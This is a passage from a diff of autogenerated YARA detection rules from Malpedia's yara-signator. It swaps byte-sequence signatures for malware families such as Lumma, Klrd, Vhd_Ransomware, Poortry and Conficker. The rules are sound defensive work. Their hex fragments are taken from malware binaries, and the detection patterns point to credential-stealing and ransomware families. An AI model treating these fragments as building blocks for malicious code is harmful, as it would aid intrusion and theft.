"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lethic_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "516f879a278afd371cf4391eda00f14d5a379f5084ac579457d7a12528cabf86" + logic_hash = "b68d77c1a72e1fca1c5c9d72302fcacf09ed698f69d0c7903522cd1a657700c5" score = 75 quality = 75 tags = "FILE" @@ -119478,34 +119512,34 @@ rule MALPEDIA_Win_Conficker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81f9a9fe0000 743b 8bce 81e1fffe0000 81f9c6120000 } - $sequence_1 = { 0fb6d3 8b5c9008 46 3b7510 891f 894c9008 } - $sequence_2 = { f2ae 61 7502 4a 4a 3c09 } - $sequence_3 = { ff15???????? 8945e4 8365fc00 85c0 7420 68???????? } - $sequence_4 = { 85c0 750a 2145fc c745f8b0ae6243 ff15???????? 3345f8 } - $sequence_5 = { 743b 8bce 81e1fffe0000 81f9c6120000 } - $sequence_6 = { 894d08 8b0e 894c9808 02ca 8916 8b750c } - $sequence_7 = { 8955fc bfffffff7f 23d7 8945f0 8955f4 } - $sequence_8 = { 395df8 7507 c745fc01000000 57 } - $sequence_9 = { 81e1fffe0000 81f9c6120000 742b 8bce } + $sequence_0 = { 8b550c 8955f8 8b45f8 034510 8945f4 } + $sequence_1 = { c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 51 } + $sequence_2 = { 8945fc 8b4dfc 894df0 8b550c } + $sequence_3 = { ffd1 33c0 eb42 6a10 } + $sequence_4 = { 8b08 890a 8b55fc 8b02 8945fc 8b4df4 51 } + $sequence_5 = { 8b55fc 83c208 52 8b45fc 8b4818 51 } + $sequence_6 = { 33c0 e9???????? 8b45fc 8b4d10 894804 8b55fc c7823410000001000000 } + $sequence_7 = { 890a 8b55fc 8b02 8945fc 8b4df4 51 8b55f8 } + $sequence_8 = { 894df8 8b55fc 3b55f8 7411 8b45fc c60000 } + $sequence_9 = { 8b55fc c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Paladin_Auto : FILE +rule MALPEDIA_Win_Lumma_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea744185-35d7-56b0-b303-642060848578" + id = "18aafe26-24fd-5a9a-bbc9-ae4c88d965fc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.paladin_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumma_auto.yar#L1-L194" license_url = "N/A" - logic_hash = "666d7127e3e5da62ea89e9776cb09bdea95055b6e6b5094287262ef9a36c1b71" + logic_hash = "5ba9e6acd0a483b46312a1312db0d7f170a01587be01ff146763c3e3b48ae6c9" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -119517,32 +119551,43 @@ rule MALPEDIA_Win_Paladin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5d00 3bdd 7447 8d4c2414 6a00 8bc3 8b1b } - $sequence_1 = { 03fd ff15???????? 8b4620 85c0 7e44 33c9 8a4e1c } - $sequence_2 = { 40 3bc6 7cf2 6a00 } - $sequence_3 = { 894664 8b465c 6a00 57 8b3d???????? 6a00 } - $sequence_4 = { 7c02 8bc1 57 8bce 894638 e8???????? } - $sequence_5 = { c1e004 03c2 33d2 8a11 8d04c0 8d0443 } - $sequence_6 = { e8???????? 8d442418 6a04 50 8bcb e8???????? 8d4c2424 } - $sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 8d451c 6800000080 } - $sequence_8 = { 56 ff95a4feffff 85c0 7412 6820030000 } - $sequence_9 = { 8d69f3 55 e8???????? 8bf0 55 } + $sequence_0 = { 53 ff767c ff7678 ff7644 } + $sequence_1 = { ffd0 83c40c 894648 85c0 } + $sequence_2 = { 894604 8b461c c1e002 50 } + $sequence_3 = { ff7678 ff7644 ff563c 83c414 } + $sequence_4 = { 833800 740a e8???????? 833822 } + $sequence_5 = { 66894316 0fb7560e 0fb74e0c e8???????? } + $sequence_6 = { 66894338 8b4626 89433c 8b462a } + $sequence_7 = { 8b4610 894320 8b4614 894328 } + $sequence_8 = { e8???????? 83c40c 6a02 6804010000 e8???????? } + $sequence_9 = { 017e78 83567c00 017e68 83566c00 } + $sequence_10 = { 83f900 75f1 83ec04 8b4508 e8???????? 89ec 5d } + $sequence_11 = { 31c0 837e3808 0f94c0 294628 } + $sequence_12 = { 0f94c3 89d5 09cd 0f95c7 } + $sequence_13 = { 0f95c7 30df 7514 837e6c00 } + $sequence_14 = { 8b5204 45 8b4208 45 8b4a0c 49 83fe04 } + $sequence_15 = { 01e8 56 ff742424 50 } + $sequence_16 = { 50 57 ff7618 e8???????? 83c40c 894618 } + $sequence_17 = { 01c9 39dd ba00000000 19c2 72f1 } + $sequence_18 = { 234608 7418 8b8684000000 29f8 } + $sequence_19 = { 31ed 89ae88000000 c7868c00000000000000 899e80000000 833e00 } + $sequence_20 = { 8b550c 6bd204 89d1 83e904 8b5510 8b1c0a } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 1115136 } -rule MALPEDIA_Win_Odinaff_Auto : FILE +rule MALPEDIA_Win_Tuoni_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d0d529bd-8ddc-568c-bb57-34ccb7211d4b" + id = "d6fe1657-0ba1-5787-bb02-c66c2de38004" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.odinaff_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tuoni" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tuoni_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a33fd98331eb6936af0c82dded866dcdbe45b48b5675a4678e1caee59c4bd151" + logic_hash = "1e49c2155d5f2354628f8bc71b59233071caabc76e3825284e0656eaaabf9b91" score = 75 quality = 75 tags = "FILE" @@ -119556,32 +119601,32 @@ rule MALPEDIA_Win_Odinaff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 c745983c000000 c745ac00010000 8955c4 c745c800080000 } - $sequence_1 = { f7de 85c0 7408 50 } - $sequence_2 = { 83c410 f7d8 1bf6 8b45e8 f7de 85c0 } - $sequence_3 = { 6a00 51 52 50 ff15???????? 8945e8 } - $sequence_4 = { c745fc00010000 ff15???????? 50 ff15???????? 8bf8 8d45fc 50 } - $sequence_5 = { b8???????? e8???????? 8b1d???????? 83c410 f7d8 1bf6 8b45e8 } - $sequence_6 = { 53 56 57 8b3d???????? 6800001000 } - $sequence_7 = { 68???????? 68???????? 53 8bf0 ff15???????? 83c40c } - $sequence_8 = { 6a00 6a00 51 ff15???????? 8b45fc 85c0 } - $sequence_9 = { ffd3 8b3d???????? 50 ffd7 6808020000 } + $sequence_0 = { 84c0 7427 3c07 7423 8b4108 c6401c01 c7401816000000 } + $sequence_1 = { 894604 e8???????? 894604 8bc6 59 e8???????? c20400 } + $sequence_2 = { e8???????? b8???????? e9???????? 8d4dd8 e9???????? 8b45d0 83e001 } + $sequence_3 = { e8???????? 8d8daffbffff c645fc0a 51 8b08 e8???????? 8b8db4fbffff } + $sequence_4 = { 7429 6a08 59 33c0 83ec18 8bfe f3ab } + $sequence_5 = { 894c2414 8d0c28 89442420 8974241c 894c2418 55 7630 } + $sequence_6 = { e8???????? 83c40c 6b45e430 8945dc 8d80602a4500 8945e4 803800 } + $sequence_7 = { 85c0 7422 ff75e0 e8???????? ff75e4 e8???????? 53 } + $sequence_8 = { 0f848a030000 51 51 8bcc 8d45d8 50 8919 } + $sequence_9 = { e8???????? 83c40c 8d85a8fbffff 6a08 50 ff15???????? 85c0 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 734208 } -rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE +rule MALPEDIA_Win_Phandoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "363fee5b-028a-51bb-ae8e-5e88e615a60a" + id = "155e4267-136b-55b4-90bd-1c218e8670a7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_yahoo_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phandoor_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "cbf24b20d63128f54b5e31c01d6a0853cc228489290e6c3462d1dc4838163313" + logic_hash = "527334a4bd04f39c9bfefa050c6438c0d4a556c8a31f02edf88789f46c6d4efd" score = 75 quality = 75 tags = "FILE" @@ -119595,32 +119640,38 @@ rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d443802 50 e8???????? 56 e8???????? ff750c } - $sequence_1 = { ffb69c841e00 ff15???????? 85c0 7506 53 } - $sequence_2 = { e8???????? 015d0c 03f3 83c428 } - $sequence_3 = { ffb694841e00 ffd3 57 e8???????? 59 } - $sequence_4 = { 83ec64 8b4d08 56 57 68???????? 6a01 } - $sequence_5 = { e8???????? 6a04 68???????? ff750c ff15???????? } - $sequence_6 = { 85c0 0f84b4000000 8d85fcfeffff 56 50 8d85fcfeffff } - $sequence_7 = { 8d85c8fdffff 56 50 e8???????? 83c418 } - $sequence_8 = { 8b7518 83c414 8d85fcd7ffff 8bcb } - $sequence_9 = { b838280000 e8???????? 53 56 } + $sequence_0 = { 8b36 e8???????? 83c404 eb25 e8???????? } + $sequence_1 = { ffd6 833d????????00 a3???????? 0f8482000000 833d????????00 7479 833d????????00 } + $sequence_2 = { 83c418 803f53 755f 807f015e } + $sequence_3 = { 8bd8 c1eb08 8bd1 895df8 8bd9 c1ea08 } + $sequence_4 = { 22da 22d9 8bc8 c1e910 224df8 } + $sequence_5 = { 890d???????? 8b96bc010000 8915???????? 33ff 399e90010000 763b } + $sequence_6 = { e8???????? 8b1d???????? 50 ffd3 8bf8 3bfe 8b35???????? } + $sequence_7 = { 0f8438010000 833d????????00 0f842b010000 833d????????00 0f841e010000 833d????????00 0f8411010000 } + $sequence_8 = { 741c 8b0d???????? 68???????? 51 c705????????04000000 } + $sequence_9 = { 83c404 8bf7 85ff 75e6 5f c7430800000000 } + $sequence_10 = { 43 84c0 7409 8803 } + $sequence_11 = { 6a03 d1ea 8d85e8efffff e8???????? } + $sequence_12 = { 741c 56 8b35???????? 3acb 740e } + $sequence_13 = { 3acb 740e 50 ffd6 } + $sequence_14 = { 6a03 d1ea 8bc3 e8???????? 8bc8 85c9 } + $sequence_15 = { 57 68???????? 50 c705????????03000000 ffd6 8b0d???????? 33ff } condition: - 7 of them and filesize < 8060928 + 7 of them and filesize < 2124800 } -rule MALPEDIA_Win_Unidentified_001_Auto : FILE +rule MALPEDIA_Win_Wininetloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f3b6be6e-c236-5d2d-a19b-afb6b895b93e" + id = "362a277f-08db-55d6-afc8-115b8717311e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_001_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wininetloader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "499ec49f978d7f898a74204c78a47d7ff968e3be0856c4a113e03a1aece4ce50" + logic_hash = "8b4c276c165b1cb748209b41360afa408d3bb0ddb28615bc03dcc23e6420b5ed" score = 75 quality = 75 tags = "FILE" @@ -119634,32 +119685,32 @@ rule MALPEDIA_Win_Unidentified_001_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 741c 83e80a 0f84c6fcffff 2def000000 } - $sequence_1 = { 6830750000 ffd6 8b4df8 85c9 7483 8d45fc } - $sequence_2 = { 85c9 0f84dafdffff e8???????? 85c0 0f85f3000000 } - $sequence_3 = { 8b06 8d4dfc 51 56 ff5028 85c0 7d0c } - $sequence_4 = { 895824 895808 c7401c06000000 47 } - $sequence_5 = { 2d0a020000 0f84a2faffff 2d02020000 e9???????? c705????????0d000000 } - $sequence_6 = { 8b4508 83e103 f3a4 8bd0 668b08 } - $sequence_7 = { 0f8468feffff 3d4b475a00 0f845dfeffff 3d4d4f5a00 0f8507f9ffff 8325????????00 e9???????? } - $sequence_8 = { 2df9070000 0f8437010000 2d01010000 0f84e2050000 2df3010000 7420 } - $sequence_9 = { 3d54484100 7416 3d414c4100 753b c705????????09000000 e9???????? } + $sequence_0 = { 66490f7ed9 4c8d050cb70500 ba28000000 488d4ddf e8???????? 4863d8 498b4540 } + $sequence_1 = { c3 488b0d???????? ba51230000 ff15???????? 488b0d???????? ba53230000 4889442430 } + $sequence_2 = { 5b c3 803d????????00 0f8459ffffff 498bd1 488bcb 4883c430 } + $sequence_3 = { 458d4118 488bce ff15???????? 8b442430 4038bc24e0000000 0f45442434 4c63c0 } + $sequence_4 = { 48891d???????? 48c705????????0f000000 881d???????? 448d431b 488d15d9be0f00 488d0d522e1200 e8???????? } + $sequence_5 = { eb02 b301 4883fa10 722d 48ffc2 488bc1 4881fa00100000 } + $sequence_6 = { c6430600 eb21 48c744242006000000 4c8d0dc3d10b00 4533c0 418d5006 488d4c2430 } + $sequence_7 = { 803a5c 752a 4c8d4201 4c3bc0 7421 f6c108 750a } + $sequence_8 = { e9???????? 488d8aa8000000 4883c108 e9???????? 488d8aa8000000 e9???????? 4055 } + $sequence_9 = { 5e 5d c3 ba5e230000 488b4e18 ff15???????? 488bc8 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 2659328 } -rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE +rule MALPEDIA_Win_Billgates_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7a191507-05f1-515e-ae93-69990858de4e" + id = "936ce7c3-e0bc-5e8a-a94c-d204107ad6c9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ugx_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.billgates_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "da5aed5a4142e6d6386e692fafe9cfc551187544798ccc57d23b8cb2bec2ee67" + logic_hash = "0d1344c595e66a8a3fe952afc687de569fadd20ac0c050f652fba5100e4b414d" score = 75 quality = 75 tags = "FILE" @@ -119673,32 +119724,32 @@ rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff969c060000 3bc3 89458c 0f8497030000 } - $sequence_1 = { 57 ff969c060000 3bc3 8945d8 0f8487020000 } - $sequence_2 = { 50 ff7508 ff969c060000 3bc3 8945bc 0f84a2040000 8b7db4 } - $sequence_3 = { ff55c0 57 ff55f8 ff55e8 } - $sequence_4 = { 50 e8???????? 6a01 6a10 57 68420d0000 } - $sequence_5 = { aa 33c0 8d7d9d 885d9c c645d47a ab ab } - $sequence_6 = { 50 ff15???????? 85c0 7455 8d85a8feffff } - $sequence_7 = { 8d86a4080000 50 57 ff969c060000 3bc3 894594 0f84a7020000 } - $sequence_8 = { f3ab 66ab aa 33c0 8d7de9 885de8 8b7508 } - $sequence_9 = { e9???????? 8d86ae090000 50 57 ff969c060000 3bc3 8945c0 } + $sequence_0 = { 7408 3c22 7404 3c30 7504 } + $sequence_1 = { 3c21 7408 3c23 7404 3c24 } + $sequence_2 = { 7404 3c58 7507 b802000000 eb02 } + $sequence_3 = { 740c 3c11 7408 3c22 7404 3c30 7504 } + $sequence_4 = { 3c11 7408 3c22 7404 3c30 7504 } + $sequence_5 = { 3c21 7408 3c23 7404 } + $sequence_6 = { ff15???????? 83f8ff 7508 ff15???????? f7d8 85c0 } + $sequence_7 = { 3c10 740c 3c11 7408 3c22 7404 3c30 } + $sequence_8 = { 740c 3c11 7408 3c22 7404 } + $sequence_9 = { 3c10 740c 3c11 7408 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 801792 } -rule MALPEDIA_Win_Yoddos_Auto : FILE +rule MALPEDIA_Win_Xbtl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10bd6a04-5d32-593e-bba9-9dd8c0a017eb" + id = "5435db05-6232-5daa-a834-a076fea3e65f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yoddos_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbtl_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "2bcf30b4ceb2923df5d8477756a290466d01852078cc1f43ff184eee0a076cc3" + logic_hash = "9ca9bf365c91027033dee3986f32faacddaba9038a823c9929d03b22f8c79417" score = 75 quality = 75 tags = "FILE" @@ -119712,32 +119763,32 @@ rule MALPEDIA_Win_Yoddos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 034508 57 53 894508 8d85d0feffff 50 } - $sequence_1 = { e8???????? 59 59 50 ff75bc ff75b8 e8???????? } - $sequence_2 = { 83c44c 8d85bcf6ffff 50 8d85bcfaffff } - $sequence_3 = { c68530ffffff77 c68531ffffff77 c68532ffffff77 c68533ffffff2e } - $sequence_4 = { c645e374 c645e465 c645e546 c645e669 } - $sequence_5 = { 50 e8???????? 8d85c8feffff 50 e8???????? 83c410 } - $sequence_6 = { c645db54 c645dc45 c645dd4d c645de5c c645df43 c645e075 c645e172 } - $sequence_7 = { c645fa74 c645fb6c 885dfc c645e857 c645e953 c645ea32 c645eb5f } - $sequence_8 = { ffd7 8d8d58ffffff 8945fc 51 50 c68558ffffff49 c68559ffffff6e } - $sequence_9 = { 7e06 897db4 8945ac 8d8548feffff 50 } + $sequence_0 = { 8945f8 03c0 03c0 50 52 8945fc e8???????? } + $sequence_1 = { 8a08 40 84c9 75f9 2bc6 8dbc05f4fdffff 89bde0fcffff } + $sequence_2 = { ff15???????? 8b07 8b4820 51 68???????? 8d542428 6a40 } + $sequence_3 = { 8b55e0 8b470c 8b4490f8 8945e0 85c0 742f 0fbf4304 } + $sequence_4 = { 81e200ff0000 33ca 8bd7 c1ea18 } + $sequence_5 = { 40 8945fc 3b4608 0f8c78ffffff eb09 8b55fc 8b7508 } + $sequence_6 = { 897004 8b5108 8bf2 c1ce08 81e600ff00ff } + $sequence_7 = { 8b8d8cfdffff 8b9598fdffff 50 8b8588fdffff 50 8b8590fdffff 57 } + $sequence_8 = { 8b07 68a00f0000 8d4c2448 51 89742448 } + $sequence_9 = { 8b530c 0fbfc8 837c8afc00 74e5 8b4308 3daa55ff7f } condition: - 7 of them and filesize < 557056 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Klrd_Auto : FILE +rule MALPEDIA_Win_Neconyd_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f2ac53cd-82a8-55ea-badd-f6f1aae58f93" + id = "0a26010e-37e7-5246-804a-229e327c846f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.klrd_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neconyd_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "0fc6f030ea4bb49d87359f96c6eceeeaeffbdd94bdee42030f76f2d7ec66a19a" + logic_hash = "a947c838b71e86e1d4014575969fcaf0468066058b0d2c62ee2db801fb092cd0" score = 75 quality = 75 tags = "FILE" @@ -119751,32 +119802,32 @@ rule MALPEDIA_Win_Klrd_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85fcefffff 50 e8???????? 59 50 } - $sequence_1 = { 8d85fcefffff 50 57 ff15???????? 57 ff15???????? } - $sequence_2 = { e8???????? 59 50 8d85fcefffff 50 57 } - $sequence_3 = { 3c00 0f8485020000 3c03 0f847d020000 3c09 0f8475020000 3c08 } - $sequence_4 = { c685c0fdffff00 68ff000000 6a00 8d85c1fdffff 50 e8???????? 83c40c } - $sequence_5 = { 59 59 ff7510 ff750c ff7508 ff35???????? ff15???????? } - $sequence_6 = { ebcc 8a85e7feffff 8885acfcffff 80bdacfcffff08 742f } - $sequence_7 = { 56 56 6a04 56 56 68000000c0 68???????? } - $sequence_8 = { 59 8d7dec f3a5 8b45ec 25ff000000 8885e7feffff 3c00 } - $sequence_9 = { ffb5b0fcffff ff15???????? 8985c8feffff 83bdc8feffff00 7515 ff15???????? } + $sequence_0 = { 74c7 ff75fc 8d85f0efffff 50 8d0437 50 } + $sequence_1 = { c6466701 c6466804 89460c 894e60 397d18 0f85b0000000 8b15???????? } + $sequence_2 = { c6466500 c6466b00 c6466c00 8b442418 898680000000 33c0 } + $sequence_3 = { c3 56 66c7003000 57 40 40 } + $sequence_4 = { 8365fc00 8d45fc 50 6a27 6a5e 8d45d4 } + $sequence_5 = { 57 bb???????? 50 8bd3 e8???????? b9???????? } + $sequence_6 = { 66c745ae5814 66c745b0d104 66c745b2c19d 66c745b42070 66c745b66afc 66c745b88fed } + $sequence_7 = { eb06 81c1ffff0000 880e 46 ff45fc } + $sequence_8 = { 29450c 83c40c 03f0 8d45fc 50 6800100000 8d85f0efffff } + $sequence_9 = { 394d18 0f8d35010000 8b0d???????? 3bcf 750c 66c745d83000 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 326182 } -rule MALPEDIA_Win_Megacortex_Auto : FILE +rule MALPEDIA_Win_Gspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "208deefe-8484-5fed-92e0-3f970a206260" + id = "cfcf9b9b-4569-5d0f-801d-7a4c03469882" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megacortex_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gspy_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "8fabc9945f7f432c61dd2181155b450bb3827a4277be45dd2f60b6e5a7f065dc" + logic_hash = "5f09532c5cfce71a555d1d7b8c6eb07037f464516d07c67472b924dd34736987" score = 75 quality = 75 tags = "FILE" @@ -119790,32 +119841,32 @@ rule MALPEDIA_Win_Megacortex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f843e040000 53 ff75e4 e8???????? 83c408 8945e0 85c0 } - $sequence_1 = { ff75c8 50 e8???????? 83c40c eb03 8b45c8 8b75b8 } - $sequence_2 = { f7db 1bdb 23d8 8b4304 83c304 2bde 8d50ff } - $sequence_3 = { 83c408 8d75fc 8b10 8d4aff f7d9 1bc9 } - $sequence_4 = { c3 8bc7 c745f801000000 8d4dec c745fc01000000 2bc1 8d7304 } - $sequence_5 = { f7da 1bd2 23d1 03d0 8d4d0c 2bf1 8d42ff } - $sequence_6 = { f6430401 c645ff01 7506 8b45e4 894308 807dff00 0f8422030000 } - $sequence_7 = { eb3a 83fb0b 7507 68???????? eb2e 83fb30 7507 } - $sequence_8 = { 8d45d0 50 e8???????? 8d75e8 8b10 8d4aff f7d9 } - $sequence_9 = { e8???????? 8d45b8 50 8d4e30 e8???????? 8b45d0 8d4d80 } + $sequence_0 = { 51 8d54241b 52 e8???????? 8944242c 8a442413 8b5c242c } + $sequence_1 = { 83c01c 50 55 56 ff15???????? 85c0 740a } + $sequence_2 = { 8a442412 3cff 7567 8b4d04 66c744241c3f2a c744241ec0744200 33c0 } + $sequence_3 = { c20400 8b0d???????? 56 33c0 57 8b3d???????? 3bcd } + $sequence_4 = { 85c0 757a 8b442414 8b08 8d542420 52 50 } + $sequence_5 = { 51 ff15???????? 85ff 7409 8d442418 e8???????? 83c304 } + $sequence_6 = { 8bf0 89742410 85f6 7449 33c0 897c2414 } + $sequence_7 = { 57 8bf8 32c0 88442407 85ff 0f8456010000 53 } + $sequence_8 = { 8b4124 ffd0 85c0 0f8464ffffff 8b442410 8b08 8b5108 } + $sequence_9 = { 7408 3c09 7c0e 3c0d 7f0a 83fa02 } condition: - 7 of them and filesize < 1556480 + 7 of them and filesize < 421888 } -rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE +rule MALPEDIA_Win_Poortry_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0a8c66bf-eb2b-583f-b44b-433c73c780b6" + id = "1496d84e-656c-5933-9472-ddcca15979df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vhd_ransomware_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poortry_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "dae74c2bc008a70be0fd9b501245d9759dea529e108a1bf96ef7d1de1daf70f9" + logic_hash = "e3df0ea052d8930e4d05b0682bf4eefe707f0b5452f36cf3547bbe2d0167b185" score = 75 quality = 75 tags = "FILE" @@ -119829,32 +119880,32 @@ rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab 8b8530030000 8902 33c0 89a54cf3ffff 398530030000 7e1b } - $sequence_1 = { e8???????? 81c44c060000 80bd7ff6ffff00 7424 8bb574f6ffff 8d8dd0fcffff } - $sequence_2 = { 33d3 8b5df4 0fb69b98744100 0fb61c9d9b854100 33d3 8b5df8 } - $sequence_3 = { 785b 8d74ba04 8b4e04 33c0 33db 0306 13cb } - $sequence_4 = { 83c8ff 5d c3 6a08 68???????? e8???????? e8???????? } - $sequence_5 = { 33c0 b9c8000000 8d7a04 f3ab 8b8dd0fcffff 890a 85c9 } - $sequence_6 = { 8945cc bf40000000 b8???????? 8d75e0 895dc8 c745f40f000000 c745f000000000 } - $sequence_7 = { 8bd8 899d28b4ffff 83fbff 0f8430010000 8b4510 8b4d0c 50 } - $sequence_8 = { 398530030000 7e14 8d4a04 8bb48534030000 8931 40 83c104 } - $sequence_9 = { 03c2 13ce 33d2 52 8b95f4efffff 52 51 } + $sequence_0 = { 80c2d6 f6da 41d2db 80f283 4d63d8 4181e3cc593b0e 41c0c35a } + $sequence_1 = { 9c 418f00 450fbbf2 458b11 664585f0 66f7c16046 4181fd7b733a3c } + $sequence_2 = { 41d3d3 312c24 66450fabe3 410fbafb10 415b 3ac5 f9 } + $sequence_3 = { 0fbfdb 66440fb3fa 418ad6 410fb618 48d3ea 66d3c2 d2fe } + $sequence_4 = { 480fbfed f8 44311c24 400f9ec5 5d f8 4d63db } + $sequence_5 = { 4d0fb7e7 448ae7 415c 66450fbeea 66410fcd 490fbfed 415d } + $sequence_6 = { 0fca 41f6c185 56 311424 f8 5e 4863d2 } + $sequence_7 = { 66f7de 5e 4584c3 f9 4c3bc0 4d63d2 4d85eb } + $sequence_8 = { 488b11 40f6c6b8 498912 4863d7 411ad2 4881ef04000000 66c1daa9 } + $sequence_9 = { f5 55 4080e5d9 4881cda16c1a19 40d2d5 311424 66440fbbfd } condition: - 7 of them and filesize < 275456 + 7 of them and filesize < 8078336 